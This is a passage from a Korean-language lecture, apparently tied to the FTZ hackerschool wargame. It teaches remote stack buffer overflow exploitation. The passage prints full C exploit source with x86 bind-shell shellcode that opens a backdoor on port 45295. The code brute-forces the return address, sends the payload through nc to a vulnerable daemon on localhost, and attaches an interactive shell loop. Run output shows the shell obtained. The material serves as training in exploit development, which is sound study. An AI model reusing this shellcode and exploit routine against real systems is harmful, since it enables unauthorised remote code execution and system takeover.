1??�캟?1???켘켘켘됣낡f?돿1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1? 홺1??1픐R됣낡f?됖1??�낢�0?1??PW됣낡f?됄1?方?9홻@1핃馨?1??箚??1퓾??1퓾??1픐h// shh/bin됥딻PS됣? ?1??1핃箚? ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff9f8 당신이 입력한 문자열 : 1??�캟?1???켘켘켘됣낡f?돿1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1? 홺1??1픐R됣낡f?됖1??�낢�0?1??PW됣낡f?됄1?方?9홻@1핃馨?1??箚??1퓾??1퓾??1픐h// shh/bin됥딻PS됣? ?1??1핃箚? ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA效�?l덠�퓳tB Exploit Succeed.! [guest@ftz lecture]$ ======================================================================== 이처럼 0xbfff9f8 값에서 공격에 성공하여 45295번 포트가 열렸음을 알 수 있게 되었다. 이제 수동으로 45295번 포트에 접속하면 쉘 권한을 획득할 수 있을 것이다. 하지만, 보통 공개된 Remote Exploit을 보면, 공격 성공 후 자동으로 쉘 권한까지 띄워주도록 구현되어 있다. 마지막으로 그 기능을 추가해보자. ◎ Exploit 작성 5단계 : 쉘 권한 획득 루틴 추가 ======================================================================== #include #include #include #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; void Get_Shell(int sockfd) { int length; char data[1024]; fd_set read_fds; while(1){ FD_ZERO(&read_fds); FD_SET(sockfd, &read_fds); FD_SET(0, &read_fds); select(sockfd+1, &read_fds, NULL, NULL, NULL); // 소켓으로부터 data가 왔을 때의 처리. if(FD_ISSET(sockfd, &read_fds)){ length = recv(sockfd, data, 1024, 0); // 받은 내용을 화면에 출력한다. if(write(1, data, length) == 0) break; } // 공격자가 키보드를 입력했을 때의 처리. if(FD_ISSET(0, &read_fds)){ length = read(0, data, 1024); // 입력한 내용을 쉘백도어로 전송한다. if(send(sockfd, data, length, 0) == 0) break; } } } int Check_Result(void) { int sockfd; struct sockaddr_in target_addr; target_addr.sin_family = AF_INET; target_addr.sin_port = htons(45295); target_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); bzero(&target_addr.sin_zero, 0, 8); sockfd = socket(AF_INET, SOCK_STREAM, 0); if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){ close(sockfd); return 0; } else{ // 공격에 성공하였다면, 확인 명령을 전송하고 쉘 연결. send(sockfd, "uname -a;id\n", 12, 0); Get_Shell(sockfd); close(sockfd); return 1; } } int main() { char Attack_String[320], Cmd[400]; int Ret_Addr = 0xbffffa00; memset(Attack_String, 'A', 320); memcpy(Attack_String, shellcode, strlen(shellcode)); while(1){ memcpy(&Attack_String[316], &Ret_Addr, 4); Ret_Addr -= 4; printf("%p\n", Ret_Addr); sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String); system(Cmd); if(Check_Result()){ printf("Exploit Succeed.!\n"); exit(0); } } } ======================================================================== * 실행 결과 ======================================================================== [guest@ftz lecture]$ ./exploit ... 생략 ... 0xbffff9fc 당신이 입력한 문자열 : 1??�캟?1???켘켘켘됣낡f?돿1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1? 홺1??1픐R됣낡f?됖1??�낢�0?1??PW됣낡f?됄1?方?9홻@1핃馨?1??箚??1퓾??1퓾??1픐h// shh/bin됥딻PS됣? ?1??1핃箚? ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Linux ftz.hackerschool.org 2.4.20 #1 SMP Fri Mar 28 22:31:45 EST 2003 i686 unknown uid=1000(guest) gid=1000(guest) groups=1000(guest) whoami guest ======================================================================== 이처럼 이제 공격 성공 후 바로 쉘 권한을 획득할 수 있게 되었다. Exploit의 업그레이드는 이정도면 충분할 듯하다. 이제 더욱 효과적으로 리모트 오버플로우 공격을 성공시킬 수 있는 방법이 있는지 생각해보자. 지난 Xinetd 환경에서의 오버플로우 공격에선 총 7가지 방법으로 공격을 시도해 볼 수 있었다. 하지만, 독립적인 네트워크로 구현된 취약 프로그램에는 그러한 시도를 해 볼 수 있는 범위가 아주 좁게 축소된다. 지금 이 환경에서의 RTL 기법을 생각해보자. 단순히 라이브러리 함수들만으로는 쉘 백도어 포트를 생성하거나, 기타 어떤 다른 응용 방법이 존재하지 않는다. 쉘을 실행하는 backdoor.sh 파일을 생성하고, system() 함수를 이용해 in.telnetd 프로그램을 실행하는 정도의 방법을 생각할 수는 있지만, 이렇게 하려면 오히려 더욱 조잡한 공격 과정이 필요해질 것이다. 또, return address 뒷쪽으로 대량의 NOP을 넣고 그 뒤의 쉘코드가 실행되도록 하는 것도 거의 불가능하다. 왜냐하면 보통 recv() 함수의 세번째 인자에의해서 전송받는 데이터의 총 길이가 제한되어있기 때문이다. 이 길이가 return address 영역을 초과하도록 프로그래밍하는 사람은 없을 것이다. 따라서 기껏해야 데몬이 받아들이는 버퍼의 한계를 넘지 않는 범위에서 NOP을 추가하는 정도의 기교밖에는 기대할 수 없을 것이다.